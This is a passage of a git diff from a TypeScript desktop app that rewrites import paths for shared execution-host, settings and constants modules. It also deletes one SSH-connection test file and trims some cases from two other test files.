@@ import type { } from '../worktree-jump-palette-model' import type { WorktreeJumpPaletteController } from '../use-worktree-jump-palette-controller' import { PaletteHostBadgeChip } from './worktree-jump-palette-row-content' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { BROWSER_NAVIGATION_ACTION_ID } from '../../cmd-j/browser-navigation-action' export function WorktreeJumpPaletteProjectRow({ diff --git a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-workspace-tab-row.tsx b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-workspace-tab-row.tsx index 64c747cfea7..f390fb446b7 100644 --- a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-workspace-tab-row.tsx +++ b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-workspace-tab-row.tsx @@ -16,7 +16,7 @@ import { import { formatPaletteSessionAge } from '@/components/cmd-j/palette-session-age' import { resolvePaletteRepoForWorktree } from '@/lib/workspace/search/palette-repo-resolution' import { isEditorTabContentType } from '@/store/slices/editor/tabs/editor-tab-content-type' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' export function WorktreeJumpPaletteWorkspaceTabRow({ entry, diff --git a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-worktree-row.tsx b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-worktree-row.tsx index c1231b49e75..9225baef92a 100644 --- a/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-worktree-row.tsx +++ b/src/renderer/src/components/worktree-jump/rows/worktree-jump-palette-worktree-row.tsx @@ -12,7 +12,7 @@ import { useTranslate } from '@/i18n/use-translate' import { getRepoExecutionHostId, isRuntimeOwnedSshTargetId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isPaletteCurrentWorktree, getPaletteWorktreeExecutionHostId, diff --git a/src/renderer/src/components/worktree-jump/tabs/worktree-jump-palette-document-index.ts b/src/renderer/src/components/worktree-jump/tabs/worktree-jump-palette-document-index.ts index 56c2b305f0a..340fab80a5c 100644 --- a/src/renderer/src/components/worktree-jump/tabs/worktree-jump-palette-document-index.ts +++ b/src/renderer/src/components/worktree-jump/tabs/worktree-jump-palette-document-index.ts @@ -13,7 +13,7 @@ import type { Repo } from '../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../shared/worktree/types' import type { WorkspacePortScanResult } from '../../../../../shared/workspace/ports/workspace-ports' import type { HostedReviewInfo } from '../../../../../shared/source-control/hosted-review/hosted-review-contracts' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' export function buildWorktreeJumpPaletteDocumentIndex({ worktrees, diff --git a/src/renderer/src/components/worktree-jump/tasks/use-worktree-jump-palette-task-search.ts b/src/renderer/src/components/worktree-jump/tasks/use-worktree-jump-palette-task-search.ts index 052869ce212..4ddd966ba55 100644 --- a/src/renderer/src/components/worktree-jump/tasks/use-worktree-jump-palette-task-search.ts +++ b/src/renderer/src/components/worktree-jump/tasks/use-worktree-jump-palette-task-search.ts @@ -14,7 +14,10 @@ import { import type { WorktreeJumpPaletteStoreState } from '../state/use-worktree-jump-palette-store-state' import type { WorktreeJumpPaletteLocalState } from '../state/use-worktree-jump-palette-local-state' import type { WorktreeJumpPaletteFilter } from '../results/use-worktree-jump-palette-filter' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { translateHostDisplayLabel } from '../../sidebar/execution-host-label' const TASK_SEARCH_DEBOUNCE_MS = 600 diff --git a/src/renderer/src/components/wsl-host-mark/WslHostMark.tsx b/src/renderer/src/components/wsl-host-mark/WslHostMark.tsx index 940b9471946..cde167969d2 100644 --- a/src/renderer/src/components/wsl-host-mark/WslHostMark.tsx +++ b/src/renderer/src/components/wsl-host-mark/WslHostMark.tsx @@ -6,7 +6,7 @@ import { useTranslate } from '@/i18n/use-translate' import type { Translate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import { cn } from '@/lib/class-names' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isWslHostRuntimeEnvironment, type OrcadDeploymentLink diff --git a/src/renderer/src/components/wsl-move/wsl-move-scope-rows.ts b/src/renderer/src/components/wsl-move/wsl-move-scope-rows.ts index 51165237034..01d8853847b 100644 --- a/src/renderer/src/components/wsl-move/wsl-move-scope-rows.ts +++ b/src/renderer/src/components/wsl-move/wsl-move-scope-rows.ts @@ -3,7 +3,10 @@ * moves; this only names rows, counts what they hold, and maps blockers back to their project. */ import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { isWslHostRuntimeEnvironment, diff --git a/src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts b/src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts index ad866f65469..73a624b350b 100644 --- a/src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts +++ b/src/renderer/src/diagnostics/typing-latency/diagnostic-summary.ts @@ -3,7 +3,7 @@ import { isWindowsAbsolutePathLike, normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { getRendererAppPlatform } from '../../app-shell/platform/renderer-app-platform' export type LatencyPercentiles = { diff --git a/src/renderer/src/hooks/agent-auto-ack-targets.ts b/src/renderer/src/hooks/agent-auto-ack-targets.ts index e6145c608d2..8293010c1a8 100644 --- a/src/renderer/src/hooks/agent-auto-ack-targets.ts +++ b/src/renderer/src/hooks/agent-auto-ack-targets.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' import { isOrcaWindowForegroundFocused } from '@/attention/orca-window-foreground-focus' import { isStructuredTab } from '../../../shared/agent-session/view/structured-agent-session-tab' import type { diff --git a/src/renderer/src/hooks/composer-state/composer-agent-rows-target.ts b/src/renderer/src/hooks/composer-state/composer-agent-rows-target.ts index 32d98ece516..f8d782a48c5 100644 --- a/src/renderer/src/hooks/composer-state/composer-agent-rows-target.ts +++ b/src/renderer/src/hooks/composer-state/composer-agent-rows-target.ts @@ -1,5 +1,5 @@ import '@/lib/workspace/creation/new-workspace-project-options' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AgentDetectionTarget } from '@/hooks/useDetectedAgents' import type { AgentMenuRowsTarget } from '@/components/tab-bar/use-new-tab-agent-menu-rows' import type { ComposerModel } from './composer-model' diff --git a/src/renderer/src/hooks/composer-state/composer-attachment-target.ts b/src/renderer/src/hooks/composer-state/composer-attachment-target.ts index ca081addac6..0d2796764d2 100644 --- a/src/renderer/src/hooks/composer-state/composer-attachment-target.ts +++ b/src/renderer/src/hooks/composer-state/composer-attachment-target.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { getRepoMainWorktreeId } from '../../../../shared/worktree/id' import type { ComposerModel } from './composer-model' diff --git a/src/renderer/src/hooks/composer-state/composer-decisions.ts b/src/renderer/src/hooks/composer-state/composer-decisions.ts index 86417bee00c..dd1d49becf2 100644 --- a/src/renderer/src/hooks/composer-state/composer-decisions.ts +++ b/src/renderer/src/hooks/composer-state/composer-decisions.ts @@ -2,7 +2,10 @@ import { getLinkedWorkItemSuggestedName, getLinkedWorkItemWorkspaceName } from '../../../../shared/workspace/naming/workspace-name' -import { normalizeExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + normalizeExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { shouldApplyWorkspaceSourceAutoName } from '../../../../shared/new-workspace/workspace-source' import { resolveGitHubWorkItemIdentity } from '../../../../shared/new-workspace/github-work-item-identity' import { isWorkspaceLinkedItemSourceContextMatch } from '../../../../shared/workspace-attachments/workspace-linked-item-source-context' @@ -13,7 +16,7 @@ import { import type { GitHubWorkItem } from '../../../../shared/github/work-items/work-item-types' import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context' -import type { JiraIssueKeyCasing } from '../../../../shared/ui-chrome-types' +import type { JiraIssueKeyCasing } from '../../../../shared/ui-chrome/ui-chrome-types' import type { LinkedWorkItemSummary } from '@/lib/workspace/creation/new-workspace' import type { WorkspaceCreationTargetHint } from '@/lib/workspace/creation/project-host-workspace-target' diff --git a/src/renderer/src/hooks/composer-state/composer-store-actions.ts b/src/renderer/src/hooks/composer-state/composer-store-actions.ts index 170ea42e2e2..956aba78fea 100644 --- a/src/renderer/src/hooks/composer-state/composer-store-actions.ts +++ b/src/renderer/src/hooks/composer-state/composer-store-actions.ts @@ -1,6 +1,6 @@ import type { RepoSlice, RepoUpdate } from '../../store/repos/repo-state' import type { UISlice } from '../../store/slices/ui/ui-slice-contract' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context' export type ComposerStoreActions = { diff --git a/src/renderer/src/hooks/composer-state/folder-submit-orchestration.ts b/src/renderer/src/hooks/composer-state/folder-submit-orchestration.ts index 3079deb44ad..2fd97b19b10 100644 --- a/src/renderer/src/hooks/composer-state/folder-submit-orchestration.ts +++ b/src/renderer/src/hooks/composer-state/folder-submit-orchestration.ts @@ -1,5 +1,5 @@ import { projectGroupHookOwner } from '../../../../shared/workspace-setup/hooks/workspace-hook-owner' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { PROJECT_GROUP_FOLDER_SETUP_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' import { resolveFolderSetupSupported } from '@/lib/workspace/creation/setup/folder-setup-support' import { checkRuntimeGroupHooks } from '@/runtime/repo-hooks/runtime-hooks-client' diff --git a/src/renderer/src/hooks/composer-state/github-provider-selection.ts b/src/renderer/src/hooks/composer-state/github-provider-selection.ts index 2b300f40aab..7a59e5eb1c0 100644 --- a/src/renderer/src/hooks/composer-state/github-provider-selection.ts +++ b/src/renderer/src/hooks/composer-state/github-provider-selection.ts @@ -41,7 +41,7 @@ import { } from '../../../../shared/new-workspace/workspace-source' import { getLinkedItemDisplayName } from '@/components/sidebar/workspace-creation/folder/folder-workspace-source-selection' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { resolveGitHubPrStartPointForRepo } from '@/lib/source-control/review/github-pr-start-point' import { getForkPushWarning } from '../fork-push-warning' import { toast } from 'sonner' diff --git a/src/renderer/src/hooks/composer-state/github-submit-resolution.ts b/src/renderer/src/hooks/composer-state/github-submit-resolution.ts index 2ab21a2ed59..a45d20ef6e4 100644 --- a/src/renderer/src/hooks/composer-state/github-submit-resolution.ts +++ b/src/renderer/src/hooks/composer-state/github-submit-resolution.ts @@ -35,7 +35,7 @@ import { resolveGitHubWorkItemIdentity } from '../../../../shared/new-workspace/ import { getWorkspaceSourceProvider } from '../../../../shared/new-workspace/workspace-source' import { resolveGitHubPrStartPointForRepo } from '@/lib/source-control/review/github-pr-start-point' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getSmartGitHubSubmitResolution, getSmartGitHubSubmitIntent, diff --git a/src/renderer/src/hooks/composer-state/host-runtime-effects.ts b/src/renderer/src/hooks/composer-state/host-runtime-effects.ts index 3ee8e905e13..b11e1824db5 100644 --- a/src/renderer/src/hooks/composer-state/host-runtime-effects.ts +++ b/src/renderer/src/hooks/composer-state/host-runtime-effects.ts @@ -45,7 +45,7 @@ import { } from '@/lib/workspace/catalog/repo-ssh-connection' import { toast } from 'sonner' import { translate } from '@/i18n/i18n' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' export function useHostRuntimeEffects(input: HostRuntimeEffectsInput) { const { diff --git a/src/renderer/src/hooks/composer-state/initial-target-model.ts b/src/renderer/src/hooks/composer-state/initial-target-model.ts index 645c5e1dfd1..b86d9cab66d 100644 --- a/src/renderer/src/hooks/composer-state/initial-target-model.ts +++ b/src/renderer/src/hooks/composer-state/initial-target-model.ts @@ -1,6 +1,6 @@ import type * as React from 'react' import type { RefObject } from 'react' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { WorkspaceStatus } from '../../../../shared/worktree/types' import type { WorkspaceCreationTargetResolution } from '@/lib/workspace/creation/project-host-workspace-target' diff --git a/src/renderer/src/hooks/composer-state/quick-startup-plan.ts b/src/renderer/src/hooks/composer-state/quick-startup-plan.ts index 89ddc1f8fab..ba97d9553c8 100644 --- a/src/renderer/src/hooks/composer-state/quick-startup-plan.ts +++ b/src/renderer/src/hooks/composer-state/quick-startup-plan.ts @@ -1,6 +1,6 @@ import { planLaunchAgentStartupPrompt } from '@/lib/agent-session/launch/prompt/launch-agent-startup-prompt-plan' import { TUI_AGENT_CONFIG } from '../../../../shared/agent-launch/catalog/tui-agent-config' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { readCachedRuntimeEnvironmentCapability } from '@/runtime/rpc/compatibility/runtime-compatibility-cache' import { WORKTREE_CREATE_AGENT_OPTIONS_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' import { terminalSessionOptionInputs } from '../../../../shared/agent-launch/startup/tui-agent-launch-command' @@ -9,7 +9,7 @@ import { useAppStore } from '@/store/index' import { resolveQuickCreateLinkedWorkItemPrompt } from '@/lib/work-items/linked-work-item-context' import type { ComposerModel } from './composer-model' import { ensureAgentLaunchPreferences } from '@/runtime/agent-launch-settings/use-host-agent-launch-preferences' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { AgentStartupShell } from '../../../../shared/agent-launch/startup/tui-agent-startup-shell' import type { AgentStartedTelemetry } from '@/lib/workspace/creation/worktree-startup-payload' diff --git a/src/renderer/src/hooks/composer-state/runtime-target-model.ts b/src/renderer/src/hooks/composer-state/runtime-target-model.ts index 4a069d38ff1..bc9db91720b 100644 --- a/src/renderer/src/hooks/composer-state/runtime-target-model.ts +++ b/src/renderer/src/hooks/composer-state/runtime-target-model.ts @@ -1,6 +1,9 @@ import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' import type { RefObject } from 'react' -import type { ExecutionHostId, ParsedExecutionHost } from '../../../../shared/execution-host' +import type { + ExecutionHostId, + ParsedExecutionHost +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { SshConnectionState, diff --git a/src/renderer/src/hooks/composer-state/runtime-target-selection.ts b/src/renderer/src/hooks/composer-state/runtime-target-selection.ts index 41a9ca8ed2a..61378fd4713 100644 --- a/src/renderer/src/hooks/composer-state/runtime-target-selection.ts +++ b/src/renderer/src/hooks/composer-state/runtime-target-selection.ts @@ -1,7 +1,8 @@ import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' import { useEffect, useMemo, useRef } from 'react' import { getFolderSourceRepos } from '@/components/sidebar/workspace-creation/folder/folder-workspace-source-repos' -import { parseExecutionHostId, getRepoExecutionHostId } from '../../../../shared/execution-host' +// oxfmt-ignore +import { parseExecutionHostId, getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getSelectedRepoSshGate } from '@/lib/workspace/creation/new-workspace-ssh-gate' import { selectRepoSshGateInput } from '@/lib/workspace/catalog/repo-ssh-connection' import { useFolderWorkspaceComposerPathStatus } from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-path-status' diff --git a/src/renderer/src/hooks/composer-state/server-ssh-repo-connect.test.ts b/src/renderer/src/hooks/composer-state/server-ssh-repo-connect.test.ts deleted file mode 100644 index a9f97c40dc8..00000000000 --- a/src/renderer/src/hooks/composer-state/server-ssh-repo-connect.test.ts +++ /dev/null @@ -1,94 +0,0 @@ -// @vitest-environment happy-dom -// #25887: a workspace on a paired server's own SSH target must be connected by that server. -import { act, renderHook } from '@testing-library/react' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../shared/execution-host' - -const mocks = vi.hoisted(() => { - const state: Record = {} - return { state, connectRuntimeEnvironmentSshTarget: vi.fn() } -}) - -vi.mock('@/store', () => ({ - useAppStore: Object.assign((select: (state: unknown) => unknown) => select(mocks.state), { - getState: () => mocks.state - }) -})) -vi.mock('@/runtime/hosts/ssh/runtime-environment-ssh-state', () => ({ - connectRuntimeEnvironmentSshTarget: mocks.connectRuntimeEnvironmentSshTarget, - hydrateRuntimeEnvironmentSshState: vi.fn(async () => {}) -})) -vi.mock('sonner', () => ({ toast: { error: vi.fn() } })) - -const { useHostRuntimeEffects } = await import('./host-runtime-effects') - -const sshConnect = vi.fn() - -function renderEffects(repoId: string, targetId: string, hostId: ExecutionHostId = 'local') { - return renderHook(() => - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the connect path reads only the refs and store set here; the rest are inert stubs. - useHostRuntimeEffects({ - commitHookCheckIfCurrent: vi.fn(), - connectionId: null, - disabledTuiAgents: [], - ensureDetectedAgents: vi.fn(async () => []), - ensureRemoteDetectedAgents: vi.fn(async () => []), - ensureRuntimeDetectedAgents: vi.fn(async () => []), - fallbackDefaultAgent: null, - folderTargetConnectionId: null, - isRemote: false, - loadHookCheckForRepo: vi.fn(), - newWorkspaceDraft: null, - repoId: null, - repoIdRef: { current: repoId }, - runtimeEnvironmentId: null, - selectedRepoConnectionIdRef: { current: targetId }, - selectedRepoExecutionHostId: hostId, - selectedRepoHookContextKey: null, - selectedRepoIsGit: false, - selectedRepoSshStatus: null, - setTuiAgent: vi.fn(), - settings: null, - tuiAgent: 'claude' - } as unknown as Parameters[0]) - ) -} - -describe('connecting the SSH target of the selected project', () => { - beforeEach(() => { - vi.clearAllMocks() - Object.assign(window, { api: { ssh: { connect: sshConnect } } }) - }) - - it('connects the selected SSH repo when a same-ID local repo appears first', async () => { - mocks.state = { - repos: [{ id: 'repeated' }, { id: 'repeated', connectionId: 'builder' }], - sshConnectionStates: new Map() - } - const { result } = renderEffects('repeated', 'builder', 'ssh:builder') - - await act(() => result.current.onConnectSelectedRepo()) - - expect(sshConnect).toHaveBeenCalledWith({ targetId: 'builder' }) - expect(mocks.connectRuntimeEnvironmentSshTarget).not.toHaveBeenCalled() - }) - - it.each(['ssh:builder', 'runtime:env-2'])( - 'does not connect the same target ID on sibling host %s', - async (siblingHost) => { - mocks.state = { - repos: [ - { id: 'repeated', connectionId: 'builder', executionHostId: siblingHost }, - { id: 'repeated', connectionId: 'builder', executionHostId: 'runtime:env-1' } - ], - sshConnectionStates: new Map() - } - const { result } = renderEffects('repeated', 'builder', 'runtime:env-1') - - await act(() => result.current.onConnectSelectedRepo()) - - expect(mocks.connectRuntimeEnvironmentSshTarget).toHaveBeenCalledWith('env-1', 'builder') - expect(sshConnect).not.toHaveBeenCalled() - } - ) -}) diff --git a/src/renderer/src/hooks/composer-state/setup-policy-decisions.ts b/src/renderer/src/hooks/composer-state/setup-policy-decisions.ts index 51e1713ee80..72f5fa99412 100644 --- a/src/renderer/src/hooks/composer-state/setup-policy-decisions.ts +++ b/src/renderer/src/hooks/composer-state/setup-policy-decisions.ts @@ -1,4 +1,4 @@ -import { getDefaultRepoHookSettings } from '../../../../shared/constants' +import { getDefaultRepoHookSettings } from '../../../../shared/orca-profiles/constants' import type { RepoHookSettings, SetupAgentStartupPolicy diff --git a/src/renderer/src/hooks/composer-state/target-store-model.ts b/src/renderer/src/hooks/composer-state/target-store-model.ts index d30432c01af..932e5beb88f 100644 --- a/src/renderer/src/hooks/composer-state/target-store-model.ts +++ b/src/renderer/src/hooks/composer-state/target-store-model.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { GitHubWorkItem } from '../../../../shared/github/work-items/work-item-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' @@ -18,8 +18,8 @@ import type { SparsePreset } from '../../../../shared/worktree/create-types' import type { Project, ProjectHostSetup } from '../../../../shared/project/project-types' import type { PublicKnownRuntimeEnvironment } from '../../../../shared/remote-runtime/host-catalog/runtime-environments' import type { RuntimeEnvironmentStatus } from '../../../../shared/remote-runtime/host-status/runtime-host-status' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import type { WorkspaceHostScope } from '../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import type { WorkspaceHostScope } from '../../../../shared/ui-chrome/ui-chrome-types' import type { WorkspaceSource as WorkspaceCreateTelemetrySource } from '../../../../shared/workspace/creation/workspace-source' import type { WorkspaceCreationTargetHint } from '@/lib/workspace/creation/project-host-workspace-target' diff --git a/src/renderer/src/hooks/composer-state/use-project-group-setup.test.tsx b/src/renderer/src/hooks/composer-state/use-project-group-setup.test.tsx index 12a33e7006c..229fca04895 100644 --- a/src/renderer/src/hooks/composer-state/use-project-group-setup.test.tsx +++ b/src/renderer/src/hooks/composer-state/use-project-group-setup.test.tsx @@ -2,14 +2,14 @@ import { act, renderHook, waitFor } from '@testing-library/react' import { beforeEach, expect, it, vi } from 'vitest' import { createProjectGroup } from '../../../../shared/project/groups/project-groups' -import { getDefaultRepoHookSettings } from '../../../../shared/constants' +import { getDefaultRepoHookSettings } from '../../../../shared/orca-profiles/constants' import '../../components/settings/__fixtures__/settings-persistence-test-fixture' import { useAppStore } from '@/store' import { checkRuntimeGroupHooks } from '@/runtime/repo-hooks/runtime-hooks-client' import { useProjectGroupSetup } from './use-project-group-setup' -import { useFolderSubmitOrchestration } from './folder-submit-orchestration' -import { submitFolderWorkspaceCreate } from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit' -import { toast } from 'sonner' +import './folder-submit-orchestration' +import '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit' +import 'sonner' vi.mock('@/lib/workspace/creation/setup/folder-setup-support', () => ({ useFolderSetupSupport: () => 'supported', @@ -51,81 +51,6 @@ beforeEach(() => { vi.mocked(checkRuntimeGroupHooks).mockResolvedValue(inspected) }) -function useSubmission(selected: typeof group) { - const groupSetup = useProjectGroupSetup(selected) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: only the folder submission path runs; unrelated composer fields are not read. - const submit = useFolderSubmitOrchestration({ - groupSetup, - selectedProjectGroup: selected, - folderCreateDisabled: false, - folderSourceRepos: [], - disabledTuiAgents: [], - isSubmissionCancelled: () => false, - decisions: { canResolveFolderSmartGitHubSubmit: () => false }, - setCreateError: vi.fn(), - setCreating: vi.fn(), - revealSetupChoice: vi.fn(), - lastAutoNameRef: { current: '' }, - name: 'task', - note: '', - linkedWorkItem: null, - settings: null, - folderTargetRuntimeEnvironmentId: null, - folderTargetIsRemote: false, - createFolderWorkspace: vi.fn(), - onCreated: vi.fn(), - taskSourceContext: null, - resolvePendingSmartGitHubSubmit: vi.fn(), - telemetrySource: 'sidebar', - clearNewWorkspaceDraft: vi.fn(), - persistDraft: false - } as unknown as Parameters[0]) - return { groupSetup, ...submit } -} - -it.each([true, false])( - 'settles a held policy save before group inspection/create (save=%s)', - async (success) => { - let finish!: (saved: boolean) => void - const updateProjectGroup = vi.fn( - () => - new Promise((resolve) => { - finish = resolve - }) - ) - useAppStore.setState({ projectGroups: [group], updateProjectGroup }) - const hook = renderHook(() => { - return useSubmission(group) - }) - await waitFor(() => expect(hook.result.current.groupSetup.shouldWaitForSetupCheck).toBe(false)) - await waitFor(() => expect(checkRuntimeGroupHooks).toHaveBeenCalledOnce()) - await act(async () => { - hook.result.current.groupSetup.setStartupPolicy('wait-for-setup') - }) - await waitFor(() => expect(updateProjectGroup).toHaveBeenCalledOnce()) - let submitting!: Promise - act(() => { - submitting = hook.result.current.submitFolderTarget(null) - }) - await Promise.resolve() - expect(submitFolderWorkspaceCreate).not.toHaveBeenCalled() - expect(checkRuntimeGroupHooks).toHaveBeenCalledOnce() - await act(async () => { - finish(success) - await submitting - }) - if (success) { - expect(submitFolderWorkspaceCreate).toHaveBeenCalledOnce() - expect(toast.error).not.toHaveBeenCalled() - } else { - expect(submitFolderWorkspaceCreate).not.toHaveBeenCalled() - expect(toast.error).toHaveBeenCalledOnce() - expect(hook.result.current.groupSetup.startupPolicy).toBe('start-immediately') - } - hook.unmount() - } -) - it('does not roll an old owner failure over a newer owner policy selection', async () => { const second = { ...group, id: 'second', parentPath: '/second' } let finishFirst!: (value: boolean) => void diff --git a/src/renderer/src/hooks/composer-state/use-project-group-setup.ts b/src/renderer/src/hooks/composer-state/use-project-group-setup.ts index b92ec2b4b39..8381ee127c7 100644 --- a/src/renderer/src/hooks/composer-state/use-project-group-setup.ts +++ b/src/renderer/src/hooks/composer-state/use-project-group-setup.ts @@ -3,7 +3,7 @@ import type { ProjectGroup } from '../../../../shared/project/groups/project-gro import type { GroupHookCheckResult } from '../../../../shared/project/groups/project-group-hooks' import type { SetupAgentStartupPolicy } from '../../../../shared/workspace-setup/orca-yaml-hook-types' import { getSetupConfig } from '../../../../shared/workspace-setup/hooks/orca-hook-setup-config' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { projectGroupHookOwner } from '../../../../shared/workspace-setup/hooks/workspace-hook-owner' import { PROJECT_GROUP_FOLDER_SETUP_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' import { useFolderSetupSupport } from '@/lib/workspace/creation/setup/folder-setup-support' diff --git a/src/renderer/src/hooks/editor-external-watch-background-trim.test.ts b/src/renderer/src/hooks/editor-external-watch-background-trim.test.ts index 45465510d45..28e67903a64 100644 --- a/src/renderer/src/hooks/editor-external-watch-background-trim.test.ts +++ b/src/renderer/src/hooks/editor-external-watch-background-trim.test.ts @@ -3,12 +3,9 @@ import { selectEditorExternalWatchTargets, type EditorExternalWatchTargetState } from './editor-external-watch-targets' -import { - PINNED_RECURSIVE_WATCH_WORKSPACE_COUNT, - WARM_RECURSIVE_WATCH_WORKSPACE_COUNT -} from './editor-external-watch-scope' -import { getWorktreeVisitKey } from '@/lib/workspace/activation/worktree-visit-recency' -import { getDefaultSettings } from '../../../shared/constants' +import './editor-external-watch-scope' +import '@/lib/workspace/activation/worktree-visit-recency' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture' import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' import { TEST_REPO } from '@/store/repos/repo.test-fixture' @@ -90,23 +87,6 @@ describe('background workspace watch trim', () => { ]) }) - it(`keeps the ${WARM_RECURSIVE_WATCH_WORKSPACE_COUNT} most recently visited workspaces and evicts older ones`, () => { - const state = makeState({ - worktrees, - openFiles: ids.map((id) => tab(id)), - activeWorktreeId: 'wt0', - // Why: mixes host-qualified and legacy bare keys, as persisted sessions do. - visits: { - wt0: 50, - [getWorktreeVisitKey('wt1', 'local')]: 1, - wt2: 2, - [getWorktreeVisitKey('wt3', 'local')]: 3, - wt4: 4 - } - }) - expect(watchedIds(state)).toEqual(['wt0', 'wt2', 'wt3', 'wt4']) - }) - it('does not let a deleted workspace hold a warm slot', () => { const state = makeState({ worktrees, @@ -145,28 +125,6 @@ describe('background workspace watch trim', () => { } ) - it(`keeps at most ${PINNED_RECURSIVE_WATCH_WORKSPACE_COUNT} deleted/renamed-tab workspaces beyond the recent ones, evicting the least recent`, () => { - const pinnedIds = ['p1', 'p2', 'p3', 'p4', 'p5'] - const state = makeState({ - worktrees: [...worktrees, ...pinnedIds.map((id) => worktree('r', id))], - openFiles: [ - tab('wt0'), - tab('wt1'), - tab('wt2'), - tab('wt3'), - ...pinnedIds.map((id) => tab(id, { externalMutation: 'deleted' as const })) - ], - activeWorktreeId: 'wt0', - visits: { wt1: 100, wt2: 99, wt3: 98, p1: 1, p2: 2, p3: 3, p4: 4 } - }) - expect(watchedIds(state)).toEqual(['p2', 'p3', 'p4', 'wt0', 'wt1', 'wt2', 'wt3']) - // Why: an evicted pin is released like any other workspace, so switching back still catches it up. - expect([...selectEditorExternalWatchTargets(state).unwatchedTargetKeys].sort()).toEqual([ - 'p1::/r/p1::local::client::literal', - 